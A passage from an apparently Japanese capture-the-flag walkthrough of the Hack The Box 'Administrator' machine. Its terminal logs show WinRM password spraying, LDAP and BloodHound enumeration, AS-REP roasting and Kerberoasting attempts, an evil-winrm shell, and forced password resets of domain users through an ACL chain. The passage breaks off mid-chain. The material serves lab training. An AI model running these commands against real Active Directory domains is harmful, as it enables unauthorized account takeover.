/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emily:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:emily
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emily:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:ethan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emily:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:alexander
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emily:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:emma
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:emma
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
⇒ username=password のような単純なパターンでは有効なパスワードは見つからなかった。
9. LDAP / BloodHound列挙¶
LDAPは匿名ではベースDN程度しか取れないため、Oliviaの資格情報でユーザー・グループ・BloodHoundデータを取得する。
ldap列挙
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
ldapsearch -x -H ldap://10.129.17.11 -s base namingContexts
ldapsearch -x -H ldap://10.129.17.11 -b "DC=administrator,DC=htb"
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ ldapsearch -x -H ldap://10.129.17.11 -s base namingContexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingContexts
#
#
dn:
namingContexts: DC=administrator,DC=htb
namingContexts: CN=Configuration,DC=administrator,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=administrator,DC=htb
namingContexts: DC=DomainDnsZones,DC=administrator,DC=htb
namingContexts: DC=ForestDnsZones,DC=administrator,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ ldapsearch -x -H ldap://10.129.17.11 -b "DC=administrator,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=administrator,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4f7c
# numResponses: 1
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
nxc ldap 10.129.17.11 -d administrator.htb -u Olivia -p "ichliebedich" --users
nxc ldap 10.129.17.11 -d administrator.htb -u Olivia -p "ichliebedich" --groups
nxc ldap 10.129.17.11 -d administrator.htb -u Olivia -p "ichliebedich" --bloodhound --collection All --dns-server 10.129.17.11
ldapdomaindump -u administrator.htb_FQDN\\Olivia -p "ichliebedich" 10.129.17.11 -o ldapdomaindump/
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc ldap 10.129.17.11 -d administrator.htb -u Olivia -p "ichliebedich" --users
LDAP 10.129.17.11 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
LDAP 10.129.17.11 389 DC [+] administrator.htb\Olivia:ichliebedich
LDAP 10.129.17.11 389 DC [*] Enumerated 10 domain users: administrator.htb
LDAP 10.129.17.11 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.17.11 389 DC Administrator 2024-10-23 03:59:36 16 Built-in account for administering the computer/domain
LDAP 10.129.17.11 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.17.11 389 DC krbtgt 2024-10-05 04:53:28 16 Key Distribution Center Service Account
LDAP 10.129.17.11 389 DC olivia 2024-10-06 10:22:48 0
LDAP 10.129.17.11 389 DC michael 2024-10-06 10:33:37 15
LDAP 10.129.17.11 389 DC benjamin 2024-10-06 10:34:56 15
LDAP 10.129.17.11 389 DC emily 2024-10-31 08:40:02 15
LDAP 10.129.17.11 389 DC ethan 2024-10-13 05:52:14 15
LDAP 10.129.17.11 389 DC alexander 2024-10-31 09:18:04 15
LDAP 10.129.17.11 389 DC emma 2024-10-31 09:18:35 15
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc ldap 10.129.17.11 -d administrator.htb -u Olivia -p "ichliebedich" --groups
LDAP 10.129.17.11 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
LDAP 10.129.17.11 389 DC [+] administrator.htb\Olivia:ichliebedich
LDAP 10.129.17.11 389 DC Administrators membercount: 3
LDAP 10.129.17.11 389 DC Users membercount: 3
LDAP 10.129.17.11 389 DC Guests membercount: 2
LDAP 10.129.17.11 389 DC Print Operators membercount: 0
LDAP 10.129.17.11 389 DC Backup Operators membercount: 0
LDAP 10.129.17.11 389 DC Replicator membercount: 0
LDAP 10.129.17.11 389 DC Remote Desktop Users membercount: 0
LDAP 10.129.17.11 389 DC Network Configuration Operators membercount: 0
LDAP 10.129.17.11 389 DC Performance Monitor Users membercount: 0
LDAP 10.129.17.11 389 DC Performance Log Users membercount: 0
LDAP 10.129.17.11 389 DC Distributed COM Users membercount: 0
LDAP 10.129.17.11 389 DC IIS_IUSRS membercount: 0
LDAP 10.129.17.11 389 DC Cryptographic Operators membercount: 0
LDAP 10.129.17.11 389 DC Event Log Readers membercount: 0
LDAP 10.129.17.11 389 DC Certificate Service DCOM Access membercount: 0
LDAP 10.129.17.11 389 DC RDS Remote Access Servers membercount: 0
LDAP 10.129.17.11 389 DC RDS Endpoint Servers membercount: 0
LDAP 10.129.17.11 389 DC RDS Management Servers membercount: 0
LDAP 10.129.17.11 389 DC Hyper-V Administrators membercount: 0
LDAP 10.129.17.11 389 DC Access Control Assistance Operators membercount: 0
LDAP 10.129.17.11 389 DC Remote Management Users membercount: 3
LDAP 10.129.17.11 389 DC Storage Replica Administrators membercount: 0
LDAP 10.129.17.11 389 DC Domain Computers membercount: 0
LDAP 10.129.17.11 389 DC Domain Controllers membercount: 0
LDAP 10.129.17.11 389 DC Schema Admins membercount: 1
LDAP 10.129.17.11 389 DC Enterprise Admins membercount: 1
LDAP 10.129.17.11 389 DC Cert Publishers membercount: 0
LDAP 10.129.17.11 389 DC Domain Admins membercount: 1
LDAP 10.129.17.11 389 DC Domain Users membercount: 0
LDAP 10.129.17.11 389 DC Domain Guests membercount: 0
LDAP 10.129.17.11 389 DC Group Policy Creator Owners membercount: 1
LDAP 10.129.17.11 389 DC RAS and IAS Servers membercount: 0
LDAP 10.129.17.11 389 DC Server Operators membercount: 0
LDAP 10.129.17.11 389 DC Account Operators membercount: 0
LDAP 10.129.17.11 389 DC Pre-Windows 2000 Compatible Access membercount: 1
LDAP 10.129.17.11 389 DC Incoming Forest Trust Builders membercount: 0
LDAP 10.129.17.11 389 DC Windows Authorization Access Group membercount: 1
LDAP 10.129.17.11 389 DC Terminal Server License Servers membercount: 0
LDAP 10.129.17.11 389 DC Allowed RODC Password Replication Group membercount: 0
LDAP 10.129.17.11 389 DC Denied RODC Password Replication Group membercount: 8
LDAP 10.129.17.11 389 DC Read-only Domain Controllers membercount: 0
LDAP 10.129.17.11 389 DC Enterprise Read-only Domain Controllers membercount: 0
LDAP 10.129.17.11 389 DC Cloneable Domain Controllers membercount: 0
LDAP 10.129.17.11 389 DC Protected Users membercount: 0
LDAP 10.129.17.11 389 DC Key Admins membercount: 0
LDAP 10.129.17.11 389 DC Enterprise Key Admins membercount: 0
LDAP 10.129.17.11 389 DC DnsAdmins membercount: 0
LDAP 10.129.17.11 389 DC DnsUpdateProxy membercount: 0
LDAP 10.129.17.11 389 DC Share Moderators membercount: 1
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc ldap 10.129.17.11 -d administrator.htb -u Olivia -p "ichliebedich" --bloodhound --collection All --dns-server 10.129.17.11
LDAP 10.129.17.11 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
LDAP 10.129.17.11 389 DC [+] administrator.htb\Olivia:ichliebedich
LDAP 10.129.17.11 389 DC Resolved collection methods: acl, dcom, objectprops, psremote, container, localadmin, group, trusts, rdp, session
LDAP 10.129.17.11 389 DC Done in 00M 15S
LDAP 10.129.17.11 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_033003_bloodhound.zip
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ mv -v /home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_033003_bloodhound.zip .
copied '/home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_033003_bloodhound.zip' -> './DC_10.129.17.11_2026-07-26_033003_bloodhound.zip'
removed '/home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_033003_bloodhound.zip'
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ ldapdomaindump -u administrator.htb\\Olivia -p "ichliebedich" 10.129.17.11 -o ldapdomaindump/
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
10. Kerberos列挙¶
Kerberosではユーザー存在確認、AS-REP roast、Kerberoastを確認する。ここでは初期段階で刺さるSPNやAS-REP roastは見つからなかった。
kerberos列挙
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 16:16:31Z)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 16:13:23Z)
464/tcp open kpasswd5?
kerbrute userenum -d administrator.htb users.txt --dc 10.129.17.11
impacket-GetNPUsers administrator.htb/ -usersfile users.txt -dc-ip 10.129.17.11 -no-pass -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ kerbrute userenum -d administrator.htb users.txt --dc 10.129.17.11
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 07/26/26 - Ronnie Flathers @ropnop
2026/07/26 03:36:27 > Using KDC(s):
2026/07/26 03:36:27 > 10.129.17.11:88
2026/07/26 03:36:27 > [+] VALID USERNAME: benjamin@administrator.htb
2026/07/26 03:36:27 > [+] VALID USERNAME: Administrator@administrator.htb
2026/07/26 03:36:27 > [+] VALID USERNAME: emily@administrator.htb
2026/07/26 03:36:27 > [+] VALID USERNAME: michael@administrator.htb
2026/07/26 03:36:27 > [+] VALID USERNAME: ethan@administrator.htb
2026/07/26 03:36:27 > [+] VALID USERNAME: olivia@administrator.htb
2026/07/26 03:36:27 > Done! Tested 9 usernames (6 valid) in 0.081 seconds
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ impacket-GetNPUsers administrator.htb/ -usersfile users.txt -dc-ip 10.129.17.11 -no-pass -format hashcat -outputfile asrep.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User olivia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User benjamin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User emily doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ethan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ impacket-GetUserSPNs administrator.htb/Olivia:"ichliebedich" -dc-ip 10.129.17.11 -request -outputfile kerberoast.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
11. OliviaでWinRM確認¶
OliviaはRemote Management Usersに所属しており、WinRMでシェル取得できる。
winrm列挙
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ for p in smb rdp winrm; do nxc $p 10.129.17.11 -u Olivia -p 'ichliebedich' --continue-on-success; done
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\Olivia:ichliebedich
WINRM 10.129.17.11 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
evil-winrm -i 10.129.17.11 -u Olivia -p 'ichliebedich'
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ evil-winrm -i 10.129.17.11 -u Olivia -p 'ichliebedich'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents>
*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
==================== ============================================
administrator\olivia S-1-5-21-1088858960-373806567-254189436-1108
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\olivia\Documents>
12. BloodHoundでACLチェーン確認¶
Oliviaで取得したBloodHoundデータを読み込み、最初の横展開ルートを確認する。
bloodhound
BloodHound UI は以下で確認した。
URL: http://127.0.0.1:8080/
User: admin
OLIVIA@ADMINISTRATOR.HTB
-- GenericAll -->
MICHAEL@ADMINISTRATOR.HTB
-- ForceChangePassword -->
BENJAMIN@ADMINISTRATOR.HTB
-- MemberOf -->
SHARE MODERATORS@ADMINISTRATOR.HTB
※（スクショ: スクリーンショット 2026-07-25 21.04.53.png / Olivia→Michael→Benjamin→Share Moderators のACLチェーン） ※（スクショ: スクリーンショット 2026-07-25 22.10.48.png / Olivia→Michael→Benjamin→Share Moderators と Emily→Ethan の全体ACLチェーン） ※（スクショ: スクリーンショット 2026-07-25 21.22.51.png / Benjamin→Domain Admins に直接パスがない確認） ※（スクショ: スクリーンショット 2026-07-25 21.24.07.png / Michael→Domain Admins に直接パスがない確認）
13. OliviaのGenericAllでMichaelのパスワードを変更¶
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ bloodyad --host 10.129.17.11 -d administrator.htb -u 'Olivia' -p 'ichliebedich' set password 'michael' 'NewPassw0rd!'
[+] Password changed successfully!
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -d administrator.htb -u 'michael' -p 'NewPassw0rd!'
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\michael:NewPassw0rd!
┌──(kali@kali)-[~/htb/Administrator/10.129.17.5]
└─$ nxc winrm 10.129.17.11 -d administrator.htb -u 'michael' -p 'NewPassw0rd!'
WINRM 10.129.17.11 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [+] administrator.htb\michael:NewPassw0rd! (Pwn3d!)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ evil-winrm -i 10.129.17.11 -u michael -p 'NewPassw0rd!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\michael\Documents> exit
Info: Exiting with code 0
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
14. MichaelのForceChangePasswordでBenjaminのパスワードを変更¶
MichaelでBenjaminのパスワードを変更し、SMB / WinRM / LDAPを確認する。BenjaminはSMBとLDAPは通るが、WinRMは不可だった。
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ bloodyad --host 10.129.17.11 -d administrator.htb -u 'michael' -p 'NewPassw0rd!' set password 'benjamin' 'NewPassw0rd!'
[+] Password changed successfully!
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -d administrator.htb -u 'benjamin' -p 'NewPassw0rd!'
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
